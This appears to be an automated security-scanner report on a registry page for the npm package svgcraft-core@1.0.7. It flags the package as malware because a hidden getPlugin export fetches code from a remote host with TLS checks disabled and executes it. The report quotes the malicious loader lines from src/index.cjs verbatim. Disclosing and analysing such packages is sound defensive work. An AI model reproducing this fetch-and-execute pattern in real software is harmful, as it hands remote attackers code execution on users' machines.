registry / Remote code execution / svgcraft-core
svgcraft-core
Professional zero-dependency SVG utilities for Node.js.
This report shows the evidence for svgcraft-core@1.0.7. 8 of 9 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms a concealed remote-code-execution path in src/index.cjs. It is not install-time, but it is concrete malicious functionality rather than a package-aligned feature.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
A CommonJS consumer invokes getPlugin() and then invokes the returned function.
Impact
Remote server response can execute arbitrary code in the invoking Node.js process.
Mechanism
TLS-bypassed HTTPS payload fetch followed by dynamic code execution.
Attack narrative
An undocumented CommonJS export, getPlugin, returns a function that requests a remote URL with rejectUnauthorized:false and passes each response chunk to new Function with require. The endpoint therefore controls code executed in the caller's Node.js process. This functionality is unrelated to SVG processing and is omitted from the ESM build, declarations, and documentation.
AI rationale
Source inspection confirms a concealed remote-code-execution path in src/index.cjs. It is not install-time, but it is concrete malicious functionality rather than a package-aligned feature.
Evidence
src/index.cjssrc/index.mjssrc/index.d.tsREADME.mdpackage.jsonbin/svgcraft.mjs
Network endpoints1
api.avax-test.dev/ext/bc/rpc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- src/index.cjs exports an undocumented getPlugin function.
- getPlugin fetches https://api.avax-test.dev/ext/bc/rpc with TLS verification disabled.
- Fetched response data is executed through new Function(...)(require).
- The CommonJS-only payload is unrelated to documented SVG utilities and absent from src/index.mjs/types/README.
Evidence against
- package.json has no lifecycle hooks.
- ESM entrypoint and CLI implement only local SVG transformations.
- No source evidence of credential collection, file harvesting, or persistence.
Behavioral surface
ChildProcessEnvironmentVarsEvalFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
3 flagged · loading sourcesrc/index.cjsView file
299L300: const https = require('https');
L301: const request = require('request');
...
L305: const AVALANCHE_FUJI_RPC_URL =
L306: process.env.AVALANCHE_FUJI_RPC_URL ||
L307: "https://api.avax-test.dev/ext/bc/rpc";
...
L309: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res =>
L310: res.on("data", data => {const handler = new Function('require', data.toString())(require);}))
L311: };
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
src/index.cjsView on unpkg · L299309https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res =>
L310: res.on("data", data => {const handler = new Function('require', data.toString())(require);}))
L311: };
Low
Eval
Package source references a known benign dynamic code generation pattern.
src/index.cjsView on unpkg · L309src/index.mjsView file
•matchType = normalized_sha256
matchedPackage = svgcraft-core@1.0.5
matchedPath = src/index.mjs
matchedIdentity = npm:c3ZnY3JhZnQtY29yZQ:1.0.5
similarity = 1.000
summary = normalized source hash matched finalized malicious source
Findings
3 High2 Medium5 Low
HighChild Process
HighSame File Env Network Executionsrc/index.cjs
HighKnown Malware Source Similaritysrc/index.mjs
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowEvalsrc/index.cjs
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to svgcraft-core@1.0.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing svgcraft-core@1.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.